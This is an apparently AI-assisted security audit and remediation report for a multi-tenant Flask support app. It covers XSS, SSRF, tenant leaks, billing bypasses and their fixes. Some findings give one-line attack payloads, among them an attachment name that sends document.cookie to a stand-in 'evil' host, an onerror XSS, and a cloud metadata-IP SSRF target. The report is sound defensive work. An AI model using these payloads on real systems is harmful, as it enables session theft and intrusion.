# Security Audit — 2026-08-13

**Method:** multi-agent audit of six attack surfaces (multi-tenancy/authorization,
authentication/sessions/CSRF, injection/output handling, secrets/config/infrastructure,
billing/credit integrity, file handling/SSRF). Every finding was then re-checked by an
independent adversarial reviewer instructed to refute it.

**Result:** 24 raw findings → **21 confirmed**, 3 rejected as false positives.
Severities below are the *corrected* ones from the verification pass, not the finders'
original claims.

---

> ## Remediation update — 2026-08-15
>
> **All 21 confirmed findings are fixed**, plus one new finding (#16) and seven
> siblings found by a second adversarial pass. Each fix was re-verified against the
> code on disk and, where possible, by executing an attack against it.
>
> **Two fixes previously reported as complete were not.** Recording them because the
> pattern matters more than the individual bugs:
>
> - **#8/#14 SSRF was only half-fixed.** `safe_http.py` existed and `validate_url()`
>   was called at the entry points, but both httpx clients still ran
>   `follow_redirects=True` — so only the *first* URL was ever checked and a public
>   host could 302 straight to `169.254.169.254`. Five more doc-scraper fetches
>   (sitemap discovery, sub-sitemaps, hreflang homepage, locale probes) had no guard
>   at all. The original live test passed because it only ever exercised hop one.
>   Now fixed with `safe_httpx_request()`, which follows redirects itself and
>   re-validates every hop; verified against a live hostile redirector.
> - **#5's Jinja fix was wrong on the first attempt.** `| tojson` escapes `'`, `<`,
>   `>`, `&` but leaves `"` **raw**, so it is only safe inside a *single*-quoted
>   attribute. The first version placed it in a double-quoted one, which was still
>   breakable. Caught because the test was rewritten to parse the rendered HTML
>   instead of asserting on a string.
>
> **One new finding (#16), caught by the regression test rather than by review.**
> `templates/predefined_messages.html:287` had the *identical* bug to #5 —
> `onclick="startRenameCategory({{ cat.id }}, '{{ cat.name | e }}')"` — and no
> reviewer in the original 31-agent audit spotted it. A category name is chosen by
> a team member and rendered in every other member's session, so it is the same
> member→admin escalation as #10. Fixed the same way (`| tojson` in a
> single-quoted attribute). This is the argument for the tests over more review:
> `test_no_jinja_inline_handler_uses_bare_escape_filter` scans every template on
> every run and cannot get bored.
>
> **Second adversarial pass (same day) found 7 more real issues in my own fixes.**
> The first pass fixed the call sites the audit *named* and missed siblings:
>
> | Sev | Issue | Status |
> |-----|-------|--------|
> | High | `app.js` `c.extra.port` rendered into `onclick` with **no escaping at all** — and `port` comes from `/parse-paste`, i.e. whatever gpt-4o-mini emitted from pasted text, stored with no type check | ✅ fixed (`jsLit`) |
> | High | **DNS-rebinding TOCTOU** in `safe_http.py` — validated hostname is re-resolved when the socket opens; no IP pinning | ✅ fixed (IP pinning + `sni_hostname`) |
> | Medium | `run_historical_sync` / website-check / module-rescan threads spawned with **no tenant schema** → `session_scope()` falls back to `public` | ✅ fixed (4 spawns) |
> | Medium | `escapedAttr` entity-escaping for AI checklist suggestions — same decode-before-parse flaw, on classifier output derived from customer text | ✅ fixed (`jsLit`) |
> | Medium | `customerHash` through `escHtml` into a JS literal at 10 sites | ✅ fixed (`jsLit`) |
> | Low | `ticket.html` `preferred_language`, `products.html` `current_version`, + 8 more template handlers interpolating unfiltered Jinja into quoted JS | ✅ fixed (`\| tojson`) |
> | Info | Legacy `_bg_sync` loop still live and single-tenant | ✅ removed (checker kept) |
>
> **DNS rebinding — FIXED, after I first wrote it off.** My initial call was that
> pinning the validated IP would break TLS certificate validation and therefore
> needed a custom transport. That was wrong, and I only found out by testing it:
> httpx passes a `sni_hostname` request extension through to httpcore, which
> drives **both** SNI and certificate hostname verification. So the request can
> address the validated IP directly while TLS still verifies against the real
> hostname. `safe_httpx_request` now rewrites the URL to the validated IP and
> carries the hostname in `Host` + `sni_hostname`. Verified: the request provably
> goes to the pinned IP, and `https://example.com/` still fetches with TLS
> verified. **Lesson: "too hard" was an assumption I never tested.**
>
> Also removed in the same pass: `safe_get()`, the `requests`-based twin. It had
> **zero callers**, was never given the pinning fix, and the module docstring told
> future readers to use it — a trap, not a helper.
>
> **Legacy auto-sync loop — REMOVED 2026-08-16** (owner's call). `main.py` still
> registered `start_auto_sync_background` as an `@app.before_request` singleton,
> contradicting the note that the 30-minute Flask daemon was dropped in the
> multi-tenant migration — both were running. It was also multi-tenant-broken: it
> read `g.tenant_schema` inside a *fresh* app context on a detached thread, where
> that is always `None`, then fell back to `query(Organization).first()`, so it only
> ever synced the **first org row** with `search_path` never set.
>
> Verified before removing that Celery beat genuinely covers sync
> (`sync-fast-tier-every-15min` firing), and after removing that the separate
> website-checker loop is still running. That checker is kept — it is doing real
> work and is not part of this finding.
>
> **Lesson for future fixes:** a guard applied at the entry point is not a guard.
> Test the hop, the redirect, and the second code path — not the happy case. And
> fix the *pattern* repo-wide, not the line numbers the report happened to cite —
> every single one of the 7 above was a sibling of a finding already "fixed".
>
> The reusable checks are now in `tests/test_security_regressions.py` (16 tests);
> the full suite is 26 tests, all passing.

## Status at a glance

**FIXED and re-tested** — commit `967a248` (findings #1, #2, #3, #4, and half of #6):

| # | Issue | Fix |
|---|---|---|
| 1 | Stored XSS via unsanitized `body_raw` | Second ingest path now sanitizes; **66,012 rows scanned, 1,409 rewritten** |
| 2 | Free MAX plan via onboarding replay | `org.plan` write deleted; Stripe webhook is sole writer; replay guard added |
| 3 | Cross-tenant attachment cache leak | Shared tenant-namespaced path module; adoption branch removed; cache purged (22 files, 182 pointers) |
| 4 | Email-verification bypass / pre-hijacking | `login_user()` refused for unverified addresses |
| 6a | Suspended org kept working for 30 days | `load_user` returns `None` when org suspended or user unverified |

**Also fixed earlier the same day** (found while testing Stripe, not by this audit):
`FLASK_DEBUG=1` exposed the Werkzeug console publicly at `/console`; the Stripe webhook
was CSRF-blocked so no payment could ever activate a plan; every webhook handler crashed
on `StripeObject.get()`.

**FIXED and re-tested** — 2026-08-15 (findings #5, #6b, #8, #9, #10, #11, #12, #13, #14, #15):

| # | Issue | Fix | How it was verified |
|---|-------|-----|---------------------|
| 5 | XSS via attachment name in inline `onclick` | `\| tojson` inside a **single**-quoted attribute | 9 payloads through a real HTML parser: no injected tags/attrs, args round-trip byte-exact |
| 10 | XSS via `bo_url`/`site.url`/username in vault `onclick` | `escHtml` now escapes `'` and `` ` ``; new `jsLit()`; all 10 `.replace(/'/g,"\\'")` sites converted | 9 payloads incl. `x'";alert()` and `" onmouseover=` — attribute intact, JS parses, value exact |
| 6b | Password reset evicted no sessions | `users.session_epoch` (migration `sep001`) baked into `User.get_id()`, checked in `load_user`; `session_protection='strong'` | Live: logged in → bumped epoch → same cookie 302s → fresh login 200 → epoch restored |
| 8/14 | SSRF incl. redirect bypass | `safe_httpx_request()` re-validates every hop; both clients `follow_redirects=False`; 5 unguarded scraper fetches wired up | Live hostile redirector: 302 → metadata IP and → loopback both blocked; `example.com` still 200 |
| 9 | Unmetered OpenAI spend | credit gates on doc-scrape + the previously-unlisted `credentials/parse-paste`; `doc_scrape` metered per 100 pages; `parse_paste` tracked | Cost curve + org-resolution verified; new `CREDIT_COSTS` keys asserted |
| 11 | Segmentation thread read a mutable process global | schema resolved on the parent thread via new `resolve_tenant_schema()` and passed explicitly; `set_worker_tenant_schema(None)` in a `finally` | Resolver precedence unit-tested (explicit > `g` > worker global > None) |
| 12 | Context processor read a tenant table with no `search_path` | explicit `SET LOCAL search_path` from `current_user.schema_name` (deliberately **not** `session_scope()`, which would detach the request's objects) | Pages render; no errors in journal |
| 13 | 7 plan flags with zero server-side enforcement | all 7 gated; `product_link` via a new server endpoint | Live: free org gets 403, paid gets 200; allow-list in the gate test is empty |
| 15 | No CSP, no HSTS | HSTS in the Caddy block; CSP `object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self'` in Flask | `curl -sSI https://moduledesk.app/` returns both |

**STILL OPEN:**
- ~~**#13 `product_link`**~~ — **FIXED 2026-08-16.** My earlier conclusion that it
  was "unenforceable" was wrong in a subtle way: the constraint wasn't that no gate
  could exist, only that no gate existed *yet*, because the URL was assembled in the
  browser. Moving construction to `POST /api/product-link` (gated on the flag, and
  scoped to the caller's tenant, which the client-side version never was) enforces
  the pricing the table already advertised — no product decision needed, since
  *dropping* the flag would have been the change to what's sold. Verified live:
  paid plan 200, free plan 403, unknown product 404, `lang` path-traversal
  sanitised. The gate test's allow-list is now **empty**.
- **CSP `script-src`** — still not enforced; ~156 inline `on*=` handlers would require
  `'unsafe-inline'`, which protects nothing. The nonce refactor is the real fix. The
  zero-cost directives above are shipped in the meantime.
**Regression tests added** — `tests/test_security_regressions.py` (13 tests, all
passing). These pin the *patterns*, not the individual bugs:

| Test | Pins |
|------|------|
| `test_eschtml_escapes_every_quote_character` | `escHtml` must escape `'` and `` ` `` |
| `test_no_unsound_quote_escaping_idiom_remains` | the `.replace(/'/g,"\\'")` idiom cannot return |
| `test_jslit_neutralises_breakout_payloads` | 8 break-out payloads round-trip as inert literals |
| `test_no_jinja_inline_handler_uses_bare_escape_filter` | scans **every** template for ANY Jinja value inside a quoted JS string in an `on*=` handler (`\| e` or unfiltered) — this found #16 and 10 more |
| `test_no_js_inline_handler_builds_a_quoted_string_by_concatenation` | scans `app.js` for hand-quoted JS literals in handlers — this is what `c.extra.port` and `customerHash` tripped |
| `test_every_plan_feature_has_a_server_side_gate` | every `PLAN_FEATURES` key is referenced server-side — the allow-list is empty and must stay that way |
| `test_safe_http_blocks_non_public_targets` | loopback, metadata IP, private, IPv6, `file://`, URL credentials |
| `test_fetching_services_do_not_follow_redirects_themselves` | the exact redirect-bypass gap found on 2026-08-15 |
| `test_request_goes_to_the_validated_ip_not_the_hostname` | DNS rebinding — the socket must open to the checked IP, with Host + sni_hostname preserved |
| `test_caller_headers_survive_redirects` | headers were being dropped after hop 1 by a pop() inside the loop |
| `test_tls_verification_is_never_disabled` | `verify=False` cannot come back |

Section 4 (structural patterns) is the most important part of this document. Fixing the
individual bugs does not stop those patterns producing new ones.

---

## 1. Verdict

> **Superseded 2026-08-15 — see the remediation update at the top.** Every
> launch-blocker described below is fixed and re-tested. The verdict text is kept
> verbatim as the record of what the app looked like on 2026-08-13; do not read it
> as the current state.

**Not safe to launch as-is.** Three of these are launch-blockers, and the worst is the **stored XSS via `body_raw`** (`sync_service.py:1293` → `ticket.html:535` `|safe`, no CSP): an *unauthenticated outsider* — any PrestaShop customer who opens a support thread — can put script into a message body that executes inside your agent's authenticated session on moduledesk.app, and from there read the Fernet credential vault (`/api/credentials/creds/<id>/reveal`), every ticket of that tenant, and the Addons API key. It requires no ModuleDesk account, it persists forever (sync skips existing messages, so it never gets re-sanitized), and the fix is one line that the *other* ingest path in the same file already does correctly. Behind it: a free MAX plan for anyone who can type three URLs, and a shared attachment cache that hands one customer's screenshots to another customer. Everything else on the list is real but survivable for a few weeks.

## 2. Findings, deduplicated and ranked

Three separate reports of the `body_raw` XSS (tenancy/injection/io/secrets surfaces) are **one bug**. Two reports of the onboarding MAX bypass are **one bug**.

| # | Sev | Where | Exploit in one line | Minimal fix |
|---|-----|-------|---------------------|-------------|
| 1 ✅ FIXED | **Critical** | `services/sync_service.py:1293` (renders at `templates/ticket.html:535`, also `:541`) | An Addons customer sends `<img src=x onerror=...>`; historical sync / `sync_thread_by_id` / `POST /ticket/<id>/refresh` stores it verbatim and it runs in the agent's session on next page load. | `body_raw = linkify_urls(sanitize_html(body_text))` — copy line `sync_service.py:463`. Then backfill `sanitize_html` over every existing `addons_messages.body_raw` in every tenant schema. |
| 2 ✅ FIXED | **High** | `onboarding/routes.py:459-460` (+ `:255-261`) | Logged-in free user hits `GET /onboard/api-key`, `POST /onboard/plan` with `plan=max`, `GET /onboard/complete` → `org.plan='max'` forever, no Stripe, no charge. | Delete the `org.plan = chosen_plan` assignment; let the Stripe webhook be the only writer of a paid plan. Also `return redirect(inbox)` at the top of `onboard_complete` if `org.onboarding_complete` is already true. |
| 3 ✅ FIXED | **High** | `main.py:2314` + `tasks/maintenance_tasks.py:224` | Cache path is `{attachment_id}_{filename}` in one global dir; per-schema ids collide, so `GET /attachment/42` can return another org's `Captura.PNG` — and `?fetch=1` overwrites theirs with yours. | Key the path by schema: `_att_cache_dir / schema / f'{id}_{sha256(filename)[:16]}{ext}'` in both places. Delete the `elif cache_file.exists(): att.cached_path = ...` adoption branch at `main.py:2317-2318`. Purge the existing cache dir once — current entries are unattributable. |
| 4 ✅ FIXED | **High** | `onboarding/routes.py:505-520` | `POST /register` with someone else's email, then `GET /onboard/complete` → `login_user()` with no `email_verified` check; verification is decorative, and enables account pre-hijacking. | After loading the user at `:505`, `if not user.email_verified: return redirect(url_for('onboarding.verify_email_sent'))`. Better: stop `/register` from seeding `onboarding_user_id` (`:216-217`); only `/verify-email/<token>` grants wizard entry. |
| 5 ✅ FIXED | **Medium** | `templates/ticket.html:571` + `static/app.js:2346` | Attachment named `x';fetch('https://evil/'+document.cookie);//.png` — Jinja's `|e` emits `&#39;`, the HTML parser decodes it back to `'` inside the `onclick` JS string, agent clicks the thumbnail. | Move to `data-att-url/-name/-ext` attributes + one delegated click listener. Same in `app.js:2346` via `createElement`+`dataset`. |
| 6 ✅ FIXED (6a suspension/verification + 6b session-epoch) | **Medium** | `main.py:595-616` (`load_user`) | Password reset (`onboarding/routes.py:862`) and org suspension (`admin/routes.py:115`) evict nobody — a stolen 30-day remember-me cookie keeps working, and a suspended fraudulent tenant keeps billing your OpenAI key for a month. | Two lines in `load_user`: return `None` if `db_user.org.is_suspended` or `not db_user.email_verified`. For reset, add `password_changed_at`/`session_epoch` on `public.users`, override `User.get_id()` to `f"{id}:{epoch}"`, reject mismatches. Set `login_manager.session_protection='strong'`. |
| 7 ✅ FIXED | **Medium** | `services/credential_service.py:45` (+ `:57`) | Any deploy where `CREDENTIAL_ENCRYPTION_KEY` is absent/malformed silently writes vault passwords in **plaintext** — UI still says `has_password: True`, one log line, no alarm. | `_get_fernet()` raises instead of returning `None`; validate the key at boot in `config.py`. In `decrypt_password`, only treat as legacy plaintext if the value doesn't parse as a Fernet token — otherwise raise, so a key rotation fails loudly. |
| 8 ✅ FIXED | **Medium** | `services/doc_scraper_service.py:460` (also `:294`, `:384`, `:547`) | Admin adds doc source `http://169.254.169.254/...` (only `bleach.clean` at `main.py:5076`), scrapes it, and the fetched title/text come back out via `/api/doc-sources/<id>/path-groups`; hostile sitemaps pick later targets. | Shared guard: scheme allowlist, `getaddrinfo` → reject private/loopback/link-local/reserved, pin to the resolved IP, re-validate per redirect hop. You already have the shape in `push_service.py:38-48`. |
| 9 ✅ FIXED | **Medium** | `main.py:5895`, `main.py:4935`, `main.py:5277`/`5304` | Three AI/scrape endpoints call OpenAI on the **platform key** with no `check_ai_credits`, no `_track_ai_usage`, and (for the scrape ones) no `check_feature('doc_scraping')` — a free trial account can loop them into a four-figure bill that never shows in `/admin/ai_usage`. | Add the standard `check_feature` + `check_ai_credits` pair before each call and `_track_ai_usage` after. For the scrape routes, add an in-flight guard (or move to Celery) and cap `urls_to_scrape`. |
| 10 ✅ FIXED | **Medium** | `static/app.js:3709` | Member saves a `bo_url` containing `"` → closes the `onclick`, injected `onmouseover` runs in an admin's session when they open the vault panel (member→admin escalation). | Fix `escHtml` (`app.js:2484`) to also escape `'` and `` ` ``, delete every `.replace(/'/g,"\\'")` in the file, and emit `data-prod-url` + a delegated listener here. Validate `bo_url` parses as http/https on save. |
| 11 ✅ FIXED | **Low** | `services/sync_service.py:736` | Beat runs tenant A then B in one prefork child; A's detached segmentation thread reads the mutable global `_worker_tenant_schema` after B overwrote it, and writes segment rows into B's schema. | Pass `schema` into the thread args and use `session_scope(schema=schema)` at `:1458` — the pattern `ai_tasks.generate_suggestion:26` already uses. Wrap `sync_tasks.py:89` in `try/finally: set_worker_tenant_schema(None)`. |
| 12 ✅ FIXED | **Low** | `main.py:791-795` | `inject_theme_preference` queries the tenant table `app_settings` on a pooled connection with no `SET search_path`; on a sidebar-cache hit it reads whichever tenant last used that connection. | One line after `SessionLocal()`: `SET search_path TO :s, public` with `current_user.schema_name`. Durable fix: a pool `checkout` listener that resets search_path to `public`. |
| 13 ✅ FIXED (all 7) | **Low** | `services/plan_service.py:91-95` | `order_sync`, `next_ticket`, `tl_dr`, `topic_segmentation`, `vip_badges`, `website_indicator`, `product_link` have **zero** `check_feature` call sites; free users just curl `/api/orders/sync-all` and get a 120-month import. | Add the route-level gate to each endpoint. Then a test asserting every `PLAN_FEATURES` key has ≥1 server-side call site. |
| 14 ✅ FIXED | **Low** | `services/website_check_service.py:155`, `:191` | Marketplace customer types `https://127.0.0.1:5000/` into their shop-website field; your server port-scans itself and reports the status code in the customers UI — and `verify=False` disables TLS validation on every one of these calls. | Same IP guard as #8 inside `normalize_url`; drop `verify=False` (a TLS failure *is* a valid "site unhealthy" signal). |
| 15 ✅ FIXED | **Low** | `main.py:630-644` + `/etc/caddy/Caddyfile:260-266` | No CSP (Flask defers to nobody) and no HSTS (Flask defers to Caddy, Caddy has no `header` directive) — CSP is the only thing that would have blunted #1. | `header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"` in the Caddy block. Ship CSP report-only first; enforce `object-src 'none'; base-uri 'self'` immediately at zero cost. Also drop the stale `support.claude-baby.dev` alias at Caddyfile:97 if unused. |

**What's fine:** the tenant-scoped DB layer itself (`session_scope` always sets search_path — the two exceptions above are the only ones), CSRF coverage, the recent Werkzeug-debug / Stripe-webhook / reset-token-hashing fixes (all complete, no siblings found), login rate limiting, and the vault re-auth freshness gate. The architecture is sound; these are gaps at the edges of it.

## 3. Fix first — before any customer signs up

> **All five items in this section are done** (2026-08-15). Kept as the original
> prioritisation record.

1. **`sync_service.py:1293`** — sanitize `body_raw` + backfill existing rows. One line + one migration script. Non-negotiable.
2. **`onboarding/routes.py:459-460`** — delete the `org.plan` write. One line. You are otherwise giving away €49/mo to anyone who reads your HTML.
3. **`onboarding/routes.py:505`** — refuse login for `email_verified=False`. Two lines. Closes the pre-hijack.
4. **`main.py:2314` + `maintenance_tasks.py:224`** — namespace the attachment cache by schema, purge the existing dir. This is a live cross-customer data leak that the beat task is actively widening every 15 minutes.
5. **`main.py:595-616`** — `return None` from `load_user` when the org is suspended or the user is unverified. Two lines, and it's your only kill switch for a fraudulent or abusive tenant.

Items 1–3 and 5 are roughly an hour of work combined. #4 is maybe two.

## 4. Structural patterns that will keep producing bugs

- **Two ingest paths for the same data, one sanitized.** `sync_service.py:463` is correct; `:1293` is not, 830 lines apart in the same file. Same disease in `main.py:2192` vs `:2200` — the refresh route persists the *unsanitized* body and returns a *sanitized* copy in the AJAX response, which is exactly why nobody noticed. Extract one `_build_bodies(raw)` used by every writer; make the raw assignment impossible to reach.
- **Escaping done ad-hoc in string concatenation.** `escHtml` doesn't escape `'` or `` ` ``, and the `.replace(/'/g,"\\'")` idiom that papers over it is unsound everywhere it appears (`app.js:3705`, `3709`, `3712`, `3714`, `ticket.html:571`). Every future inline `onclick` built this way is a new XSS. Ban inline handlers; `data-*` + delegated listeners only.
- **Tenant identity carried by ambient state (connection search_path, process global) rather than passed explicitly.** Findings #11 and #12 are the same defect in two costumes. Anything detached from a request — a thread, a Celery task, a context processor — is one refactor away from reading the wrong tenant. Make `session_scope(schema=...)` mandatory off the request path, and add a pool-checkout reset so a connection can never hand its search_path to the next borrower.
- **Plan flags exist as marketing copy with no enforcement.** Seven of them have zero call sites; the AI endpoints that *do* gate on features forget to gate on credits. Both classes are enforced only in the front end. You need one test that asserts every `PLAN_FEATURES` key and every OpenAI-calling route has a server-side gate, or the list in #9 and #13 will regrow with each feature.
- **Outbound HTTP has no central guard.** You wrote an SSRF check (`push_service.py:38-48`) and then never reused it — the doc scraper, the sitemap follower, and the website monitor each fetch third-party-chosen URLs unguarded, and one of them turns off TLS verification. One `safe_get()` helper, used everywhere, or this recurs on the next integration.
- **Nothing reconciles `org.plan` against Stripe, ever.** Even after fixing #2, a bad write from any future code path is permanent and silent. A nightly reconciliation task comparing `org.plan` to the live subscription would have caught this class of bug on its own.